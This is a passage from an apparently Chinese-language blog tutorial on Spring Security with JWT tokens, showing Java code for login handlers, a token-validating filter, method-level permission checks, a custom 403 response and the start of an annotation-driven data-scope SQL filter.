class="comment">// 存储登录认证信息到上下文</span></span><br><span class="line">        SecurityContextHolder.getContext().setAuthentication(auth);</span><br><span class="line">        <span class="comment">// 触发成功登录事件监听器</span></span><br><span class="line">        <span class="keyword">if</span> (<span class="built_in">this</span>.eventPublisher != <span class="literal">null</span>) &#123;</span><br><span class="line">            eventPublisher.publishEvent(<span class="keyword">new</span> <span class="title class_">InteractiveAuthenticationSuccessEvent</span>(auth, <span class="built_in">this</span>.getClass()));</span><br><span class="line">        &#125;</span><br><span class="line">        <span class="comment">// 生成并返回token给客户端，后续访问携带此token</span></span><br><span class="line">        <span class="type">CustomJwtToken</span> <span class="variable">token</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">CustomJwtToken</span>(UUID.randomUUID().toString());</span><br><span class="line">        token.setToken(TokenUtil.generateToken(auth));</span><br><span class="line">        token.setPermissions(auth.getAuthorities());</span><br><span class="line">        <span class="comment">// TODO 储存redis</span></span><br><span class="line">        <span class="comment">// 返回Token 相关信息</span></span><br><span class="line">        ResponseUtil.out(response, R.ok(token));</span><br><span class="line">        <span class="comment">// 记录日志</span></span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="comment">/**</span></span><br><span class="line"><span class="comment">     * 认证失败调用</span></span><br><span class="line"><span class="comment">     *</span></span><br><span class="line"><span class="comment">     * <span class="doctag">@param</span> request</span></span><br><span class="line"><span class="comment">     * <span class="doctag">@param</span> response</span></span><br><span class="line"><span class="comment">     * <span class="doctag">@param</span> failed</span></span><br><span class="line"><span class="comment">     * <span class="doctag">@throws</span> IOException</span></span><br><span class="line"><span class="comment">     * <span class="doctag">@throws</span> ServletException</span></span><br><span class="line"><span class="comment">     */</span></span><br><span class="line">    <span class="meta">@Override</span></span><br><span class="line">    <span class="keyword">protected</span> <span class="keyword">void</span> <span class="title function_">unsuccessfulAuthentication</span><span class="params">(HttpServletRequest request, HttpServletResponse response,</span></span><br><span class="line"><span class="params">                                              AuthenticationException failed)</span> <span class="keyword">throws</span> IOException, ServletException &#123;</span><br><span class="line">        <span class="comment">// 使用的是自定义code:401003 所以在response中不能设置该自定义的code</span></span><br><span class="line">        ResponseUtil.write(response, SystemCode.USERNAME_OR_PASSWORD_ERROR);</span><br><span class="line">        <span class="comment">// 记录日志</span></span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>添加过滤器验证需要验证用户请求时所带的token是否正确</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">package</span> cn.allbs.allbsjwt.config.filter;</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> cn.allbs.allbsjwt.config.utils.TokenUtil;</span><br><span class="line"><span class="keyword">import</span> lombok.extern.slf4j.Slf4j;</span><br><span class="line"><span class="keyword">import</span> org.springframework.security.authentication.AuthenticationManager;</span><br><span class="line"><span class="keyword">import</span> org.springframework.security.authentication.UsernamePasswordAuthenticationToken;</span><br><span class="line"><span class="keyword">import</span> org.springframework.security.core.Authentication;</span><br><span class="line"><span class="keyword">import</span> org.springframework.security.core.context.SecurityContextHolder;</span><br><span class="line"><span class="keyword">import</span> org.springframework.security.core.userdetails.UserDetails;</span><br><span class="line"><span class="keyword">import</span> org.springframework.security.core.userdetails.UserDetailsService;</span><br><span class="line"><span class="keyword">import</span> org.springframework.security.web.authentication.www.BasicAuthenticationFilter;</span><br><span class="line"><span class="keyword">import</span> org.springframework.util.StringUtils;</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> javax.servlet.FilterChain;</span><br><span class="line"><span class="keyword">import</span> javax.servlet.ServletException;</span><br><span class="line"><span class="keyword">import</span> javax.servlet.http.HttpServletRequest;</span><br><span class="line"><span class="keyword">import</span> javax.servlet.http.HttpServletResponse;</span><br><span class="line"><span class="keyword">import</span> java.io.IOException;</span><br><span class="line"></span><br><span class="line"><span class="meta">@Slf4j</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">TokenAuthenticationFilter</span> <span class="keyword">extends</span> <span class="title class_">BasicAuthenticationFilter</span> &#123;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">private</span> <span class="keyword">final</span> UserDetailsService userDetailsService;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">public</span> <span class="title function_">TokenAuthenticationFilter</span><span class="params">(AuthenticationManager authenticationManager, UserDetailsService userDetailsService)</span> &#123;</span><br><span class="line">        <span class="built_in">super</span>(authenticationManager);</span><br><span class="line">        <span class="built_in">this</span>.userDetailsService = userDetailsService;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="meta">@Override</span></span><br><span class="line">    <span class="keyword">protected</span> <span class="keyword">void</span> <span class="title function_">doFilterInternal</span><span class="params">(HttpServletRequest request, HttpServletResponse response, FilterChain chain)</span> <span class="keyword">throws</span> IOException, ServletException &#123;</span><br><span class="line">        <span class="type">String</span> <span class="variable">token</span> <span class="operator">=</span> TokenUtil.getToken(request);</span><br><span class="line">        <span class="comment">// 如果token存在 则验证token是否正确和过期 TODO 去redis中判断token是否存在</span></span><br><span class="line">        <span class="keyword">if</span> (!TokenUtil.validateToken(token)) &#123;</span><br><span class="line">            <span class="comment">// token 验证不通过</span></span><br><span class="line">            chain.doFilter(request, response);</span><br><span class="line">            <span class="keyword">return</span>;</span><br><span class="line">        &#125;</span><br><span class="line">        <span class="type">Authentication</span> <span class="variable">authentication</span> <span class="operator">=</span> getAuthentication(token);</span><br><span class="line">        SecurityContextHolder.getContext().setAuthentication(authentication);</span><br><span class="line">        chain.doFilter(request, response);</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">private</span> Authentication <span class="title function_">getAuthentication</span><span class="params">(String token)</span> &#123;</span><br><span class="line">        <span class="type">String</span> <span class="variable">username</span> <span class="operator">=</span> TokenUtil.getUsernameFromToken(token);</span><br><span class="line">        <span class="keyword">if</span> (StringUtils.hasText(username)) &#123;</span><br><span class="line">            <span class="comment">// 查询当前用户权限集合,因为并没有将权限列表放在token中所以无法通过token解析出来，去数据库或者redis中获取,当然放在token中也是可以的</span></span><br><span class="line">            <span class="type">UserDetails</span> <span class="variable">userInfo</span> <span class="operator">=</span> <span class="built_in">this</span>.userDetailsService.loadUserByUsername(username);</span><br><span class="line">            <span class="keyword">return</span> <span class="keyword">new</span> <span class="title class_">UsernamePasswordAuthenticationToken</span>(username, token, userInfo.getAuthorities());</span><br><span class="line">        &#125;</span><br><span class="line">        <span class="keyword">return</span> <span class="literal">null</span>;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>在spring security配置文件中添加该过滤器</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">@Override</span></span><br><span class="line"><span class="keyword">protected</span> <span class="keyword">void</span> <span class="title function_">configure</span><span class="params">(HttpSecurity http)</span> <span class="keyword">throws</span> Exception &#123;</span><br><span class="line">    <span class="comment">// @formatter:off</span></span><br><span class="line">    <span class="comment">// 防止iframe内容无法展示</span></span><br><span class="line">    http.headers().frameOptions().disable();</span><br><span class="line">    <span class="comment">// 需要权限验证的提示code和文字说明自定义</span></span><br><span class="line">    http.exceptionHandling().authenticationEntryPoint(<span class="keyword">new</span> <span class="title class_">Http401AuthenticationEntryPoint</span>());</span><br><span class="line">    ExpressionUrlAuthorizationConfigurer&lt;HttpSecurity&gt;</span><br><span class="line">            .<span class="type">ExpressionInterceptUrlRegistry</span> <span class="variable">registry</span> <span class="operator">=</span> http</span><br><span class="line">            .authorizeRequests();</span><br><span class="line">    <span class="comment">// 跨域检测</span></span><br><span class="line">    registry.antMatchers(HttpMethod.OPTIONS, <span class="string">&quot;/**&quot;</span>).permitAll();</span><br><span class="line">    <span class="comment">// 忽略鉴权的请求</span></span><br><span class="line">    permitAllUrlProperties.getIgnoreUrls().forEach(ignoreUrl -&gt; registry.antMatchers(ignoreUrl).permitAll());</span><br><span class="line">    <span class="comment">// 登出</span></span><br><span class="line">    registry.and().logout().logoutUrl(<span class="string">&quot;/token/logout&quot;</span>).addLogoutHandler(<span class="keyword">new</span> <span class="title class_">SecurityLogoutHandler</span>())</span><br><span class="line">            .deleteCookies(<span class="string">&quot;JSESSIONID&quot;</span>)</span><br><span class="line">            .logoutSuccessHandler(logoutSuccessHandler());</span><br><span class="line">    <span class="comment">// 登录</span></span><br><span class="line">    registry.and().formLogin().loginPage(<span class="string">&quot;/login&quot;</span>).permitAll();</span><br><span class="line">    registry.and()</span><br><span class="line">            <span class="comment">// 登录并颁发token</span></span><br><span class="line">            .addFilter(<span class="keyword">new</span> <span class="title class_">SecurityLoginFilter</span>(authenticationManager()));</span><br><span class="line">    <span class="comment">// 对任何请求都进行权限验证</span></span><br><span class="line">    registry.anyRequest().authenticated()</span><br><span class="line">            .and().csrf().disable();</span><br><span class="line">    registry.and()</span><br><span class="line">            <span class="comment">// 移除session</span></span><br><span class="line">            .sessionManagement()</span><br><span class="line">            .sessionCreationPolicy(SessionCreationPolicy.STATELESS);</span><br><span class="line">    <span class="comment">// 验证续签token</span></span><br><span class="line">    registry.and().addFilterBefore(<span class="keyword">new</span> <span class="title class_">TokenAuthenticationFilter</span>(authenticationManager(), customUserService), UsernamePasswordAuthenticationFilter.class);</span><br><span class="line">    <span class="comment">// @formatter:on</span></span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>至此，从数据库中登录，获取用户名、密码、菜单、权限，登出功能已完成</p><p><img src="https://nas.allbs.cn:8888/cloudpic/2023/02/bb6822021c3730ef3d8dbbf1859752bd.gif" alt=""></p><h5 id="资源访问权限">资源访问权限</h5><p>新增<code>PermissionService</code>用于接口指定访问权限</p><p>在<code>WebSecurityConfig</code>中添加注解<code>@EnableGlobalMethodSecurity(prePostEnabled=true)</code></p><p><img src="https://nas.allbs.cn:8888/cloudpic/2023/03/bd222e8004847bfde5cfd7092aab9b87.png" alt="image-20230302160327406"></p><p>如果用户的权限列表中不包含该权限则不允许访问。一般用于按钮级别权限的控制。</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">package</span> com.lyc.admin.oauth.service;</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> cn.hutool.core.util.ArrayUtil;</span><br><span class="line"><span class="keyword">import</span> lombok.extern.slf4j.Slf4j;</span><br><span class="line"><span class="keyword">import</span> org.springframework.security.core.Authentication;</span><br><span class="line"><span class="keyword">import</span> org.springframework.security.core.GrantedAuthority;</span><br><span class="line"><span class="keyword">import</span> org.springframework.security.core.context.SecurityContextHolder;</span><br><span class="line"><span class="keyword">import</span> org.springframework.stereotype.Component;</span><br><span class="line"><span class="keyword">import</span> org.springframework.util.PatternMatchUtils;</span><br><span class="line"><span class="keyword">import</span> org.springframework.util.StringUtils;</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> java.util.Collection;</span><br><span class="line"></span><br><span class="line"><span class="meta">@Slf4j</span></span><br><span class="line"><span class="meta">@Component(&quot;pms&quot;)</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">PermissionService</span> &#123;</span><br><span class="line">    <span class="comment">/**</span></span><br><span class="line"><span class="comment">     * 判断接口是否有任意xxx，xxx权限</span></span><br><span class="line"><span class="comment">     *</span></span><br><span class="line"><span class="comment">     * <span class="doctag">@param</span> permissions 权限</span></span><br><span class="line"><span class="comment">     * <span class="doctag">@return</span> &#123;boolean&#125;</span></span><br><span class="line"><span class="comment">     */</span></span><br><span class="line">    <span class="keyword">public</span> <span class="type">boolean</span> <span class="title function_">hasPermission</span><span class="params">(String... permissions)</span> &#123;</span><br><span class="line">        <span class="keyword">if</span> (ArrayUtil.isEmpty(permissions)) &#123;</span><br><span class="line">            <span class="keyword">return</span> <span class="literal">false</span>;</span><br><span class="line">        &#125;</span><br><span class="line">        <span class="type">Authentication</span> <span class="variable">authentication</span> <span class="operator">=</span> SecurityContextHolder.getContext().getAuthentication();</span><br><span class="line">        <span class="keyword">if</span> (authentication == <span class="literal">null</span>) &#123;</span><br><span class="line">            <span class="keyword">return</span> <span class="literal">false</span>;</span><br><span class="line">        &#125;</span><br><span class="line">        Collection&lt;? <span class="keyword">extends</span> <span class="title class_">GrantedAuthority</span>&gt; authorities = authentication.getAuthorities();</span><br><span class="line">        <span class="keyword">return</span> authorities.stream()</span><br><span class="line">                .map(GrantedAuthority::getAuthority)</span><br><span class="line">                .filter(StringUtils::hasText)</span><br><span class="line">                .anyMatch(x -&gt; PatternMatchUtils.simpleMatch(permissions, x));</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>测试，添加两个接口，一个接口含有permission中的字符串，一个没有。@PreAuthorize 使用时如果没有权限将不会进入方法。</p><p><img src="https://nas.allbs.cn:8888/cloudpic/2023/03/66a7af9d2d6db52a8a0b80afac93a949.png" alt="image-20230302160427598"></p><p><img src="https://nas.allbs.cn:8888/cloudpic/2023/03/9e96c08575f5a272b38a4484c617861c.png" alt="image-20230302160500380"></p><p>postman调用结果</p><p><img src="https://nas.allbs.cn:8888/cloudpic/2023/03/6e8df2153d95a39b6434d6e295a8c49a.png" alt="image-20230302160533945"></p><p><img src="https://nas.allbs.cn:8888/cloudpic/2023/03/002f7b00850d1036adddb2e5c043706e.png" alt="image-20230302160548646"></p><p>统一403返回格式</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// enum</span></span><br><span class="line">FORBIDDEN_403(<span class="number">403</span>, <span class="string">&quot;缺少资源访问权限!&quot;</span>),</span><br><span class="line"></span><br><span class="line"><span class="comment">// 403自定义处理</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">Http403AccessDeniedEntryPoint</span> <span class="keyword">implements</span> <span class="title class_">AccessDeniedHandler</span> &#123;</span><br><span class="line">    <span class="meta">@Override</span></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">handle</span><span class="params">(HttpServletRequest request, HttpServletResponse response, AccessDeniedException accessDeniedException)</span> <span class="keyword">throws</span> IOException, ServletException &#123;</span><br><span class="line">        ResponseUtil.out(response, R.fail(SystemCode.FORBIDDEN_403));</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">// 加入配置</span></span><br><span class="line">HttpSecurity.exceptionHandling().accessDeniedHandler(<span class="keyword">new</span> <span class="title class_">Http403AccessDeniedEntryPoint</span>());</span><br></pre></td></tr></table></figure><p><img src="https://nas.allbs.cn:8888/cloudpic/2023/03/0e569ff7a3d2730bb618dfb7d2fb35cc.png" alt="image-20230302162022243"></p><p>权限控制 没有权限,方法依然执行但是不会返回</p><p><img src="https://nas.allbs.cn:8888/cloudpic/2023/03/6966cdb50606ced2d3529cc51e2d57dd.png" alt="image-20230302163807705"></p><p>使用场景，比如只允许用户查询自己的用户信息。</p><p><img src="https://nas.allbs.cn:8888/cloudpic/2023/03/5781e2d0aa4661c45b2f97c7f07877bc.png" alt="image-20230302171653246"></p><p><img src="https://nas.allbs.cn:8888/cloudpic/2023/03/1897a99cdcc0041dce45f3ad01d8f91a.png" alt="image-20230302171749403"></p><p>对返回结果进行过滤</p><p><img src="https://nas.allbs.cn:8888/cloudpic/2023/03/6d1082c22c015cff5389657d2608ade8.png" alt="image-20230302163927147"></p><p>对请求参数进行过滤</p><p><img src="https://nas.allbs.cn:8888/cloudpic/2023/03/6dde253509e5a33750f0f3eeac149e35.png" alt="image-20230302170553274"></p><h4 id="oauth2-0">oauth2.0</h4><h2 id="数据权限">数据权限</h2><h3 id="实现方式">实现方式</h3><p>以下使用的方式是拦截sql后自定义组装来实现数据过滤</p><h3 id="代码实现1">代码实现1</h3><h4 id="定义一个注解DataScope用于判断哪些类、方法需要进行数据过滤。当然你也可以稍微修改下，默认对数据进行过滤，指定类、方法不过滤">定义一个注解<code>DataScope</code>用于判断哪些类、方法需要进行数据过滤。当然你也可以稍微修改下，默认对数据进行过滤，指定类、方法不过滤</h4><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">package</span> cn.allbs.allbsjwt.config.annotation;</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> java.lang.annotation.Documented;</span><br><span class="line"><span class="keyword">import</span> java.lang.annotation.Retention;</span><br><span class="line"><span class="keyword">import</span> java.lang.annotation.RetentionPolicy;</span><br><span class="line"><span class="keyword">import</span> java.lang.annotation.Target;</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> <span class="keyword">static</span> java.lang.annotation.ElementType.METHOD;</span><br><span class="line"><span class="keyword">import</span> <span class="keyword">static</span> java.lang.annotation.ElementType.TYPE;</span><br><span class="line"></span><br><span class="line"><span class="meta">@Target(&#123;METHOD, TYPE&#125;)</span></span><br><span class="line"><span class="meta">@Retention(RetentionPolicy.RUNTIME)</span></span><br><span class="line"><span class="meta">@Documented</span></span><br><span class="line"><span class="keyword">public</span> <span class="meta">@interface</span> DataScope &#123;</span><br><span class="line"></span><br><span class="line">    <span class="comment">/**</span></span><br><span class="line"><span class="comment">     * 当进行过滤时主表中代表企业id的字段</span></span><br><span class="line"><span class="comment">     */</span></span><br><span class="line">    String <span class="title function_">unitField</span><span class="params">()</span> <span class="keyword">default</span> <span class="string">&quot;ent_id&quot;</span>;</span><br><span class="line"></span><br><span class="line">    <span class="comment">/**</span></span><br><span class="line"><span class="comment">     * 是否进行数据过滤</span></span><br><span class="line"><span class="comment">     */</span></span><br><span class="line">    <span class="type">boolean</span> <span class="title function_">filterData</span><span class="params">()</span> <span class="keyword">default</span> <span class="literal">true</span>;</span><br><span class="line"></span><br><span class="line">    <span class="comment">/**</span></span><br><span class="line"><span class="comment">     * 忽略的表名</span></span><br><span class="line"><span class="comment">     *</span></span><br><span class="line"><span class="comment">     * <span class="doctag">@return</span> 不进行数据过滤的表名的集合</span></span><br><span class="line"><span class="comment">     */</span></span><br><span class="line">    String[] ignoreTables() <span class="keyword">default</span> &#123;<span class="string">&quot;sys_file&quot;</span>&#125;;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h4 id="定义一个实体类用户临时储存sql过滤中需要使用的参数信息">定义一个实体类用户临时储存sql过滤中需要使用的参数信息</h4><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">@Data</span></span><br><span class="line"><span class="meta">@EqualsAndHashCode(callSuper = true)</span></span><br><span class="line"><span class="meta">@RequiredArgsConstructor</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">DataScopeParam</span> <span class="keyword">extends</span> <span class="title class_">HashMap</span> &#123;</span><br><span class="line"></span><br><span class="line">    <span class="comment">/**</span></span><br><span class="line"><span class="comment">     * 企业筛选字段名称（比如某个表中并未使用其他表通用的字段ent_id进行区分企业）</span></span><br><span class="line"><span class="comment">     */</span></span><br><span class="line">    <span class="keyword">private</span> String unitField;</span><br><span class="line"></span><br><span class="line">    <span class="comment">/**</span></span><br><span class="line"><span class="comment">     * 企业数据范围</span></span><br><span class="line"><span class="comment">     */</span></span><br><span class="line">    <span class="keyword">private</span> Set&lt;Long&gt; entIdList;</span><br><span class="line"></span><br><span class="line">    <span class="comment">/**</span></span><br><span class="line"><span class="comment">     * 是否进行拦截</span></span><br><span class="line"><span class="comment">     */</span></span><br><span class="line">    <span class="keyword">private</span> <span class="type">boolean</span> filterField;</span><br><span class="line"></span><br><span class="line">    <span class="comment">/**</span></span><br><span class="line"><span class="comment">     * 忽略不过滤的表名</span></span><br><span class="line"><span class="comment">     */</span></span><br><span class="line">    <span class="keyword">private</span> List&lt;String&gt; ignoreTables;</span><br><span class="line">&#125;</span><br><span class="line"></span><br></pre></td></tr></table></figure><h4 id="权限解析器">权限解析器</h4><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br><span class="line">104</span><br><span class="line">105</span><br><span class="line">106</span><br><span class="line">107</span><br><span class="line">108</span><br><span class="line">109</span><br><span class="line">110</span><br><span class="line">111</span><br><span class="line">112</span><br><span class="line">113</span><br><span class="line">114</span><br><span class="line">115</span><br><span class="line">116</span><br><span class="line">117</span><br><span class="line">118</span><br><span class="line">119</span><br><span class="line">120</span><br><span class="line">121</span><br><span class="line">122</span><br><span class="line">123</span><br><span class="line">124</span><br><span class="line">125</span><br><span class="line">126</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">@Slf4j</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">DataScopeAnnotationClassResolver</span> &#123;</span><br><span class="line"></span><br><span class="line">    <span class="comment">/**</span></span><br><span class="line"><span class="comment">     * 缓存方法对应的权限拦截</span></span><br><span class="line"><span class="comment">     */</span></span><br><span class="line">    <span class="keyword">private</span> <span class="keyword">final</span> Map&lt;Object, DataScopeParam&gt; dsCache = <span class="keyword">new</span> <span class="title class_">ConcurrentHashMap</span>&lt;&gt;();</span><br><span class="line"></span><br><span class="line">    <span class="keyword">public</span> <span class="title function_">DataScopeAnnotationClassResolver</span><span class="params">()</span> &#123;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="comment">/**</span></span><br><span class="line"><span class="comment">     * 从缓存获取数据</span></span><br><span class="line"><span class="comment">     *</span></span><br><span class="line"><span class="comment">     * <span class="doctag">@param</span> method       方法</span></span><br><span class="line"><span class="comment">     * <span class="doctag">@param</span> targetObject 目标对象</span></span><br><span class="line"><span class="comment">     * <span class="doctag">@return</span> ds</span></span><br><span class="line"><span class="comment">     */</span></span><br><span class="line">    <span class="keyword">public</span> DataScopeParam <span class="title function_">findKey</span><span class="params">(Method method, Object targetObject)</span> &#123;</span><br><span class="line">        <span class="keyword">if</span> (method.getDeclaringClass() == Object.class) &#123;</span><br><span class="line">            <span class="keyword">return</span> <span class="literal">null</span>;</span><br><span class="line">        &#125;</span><br><span class="line">        <span class="type">Object</span> <span class="variable">cacheKey</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">MethodClassKey</span>(method, targetObject.getClass());</span><br><span class="line">        <span class="type">DataScopeParam</span> <span class="variable">dsp</span> <span class="operator">=</span> <span class="built_in">this</span>.dsCache.get(cacheKey);</span><br><span class="line">        <span class="keyword">if</span> (dsp == <span class="literal">null</span>) &#123;</span><br><span class="line">            dsp = computeDatasource(method, targetObject);</span><br><span class="line">            <span class="built_in">this</span>.dsCache.put(cacheKey, dsp);</span><br><span class="line">        &#125;</span><br><span class="line">        <span class="keyword">return</span> dsp;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="comment">/**</span></span><br><span class="line"><span class="comment">     * 查找注解的顺序</span></span><br><span class="line"><span class="comment">     * 1. 当前方法</span></span><br><span class="line"><span class="comment">     * 2. 桥接方法</span></span><br><span class="line"><span class="comment">     * 3. 当前类开始一直找到Object</span></span><br><span class="line"><span class="comment">     *</span></span><br><span class="line"><span class="comment">     * <span class="doctag">@param</span> method       方法</span></span><br><span class="line"><span class="comment">     * <span class="doctag">@param</span> targetObject 目标对象</span></span><br><span class="line"><span class="comment">     * <span class="doctag">@return</span> 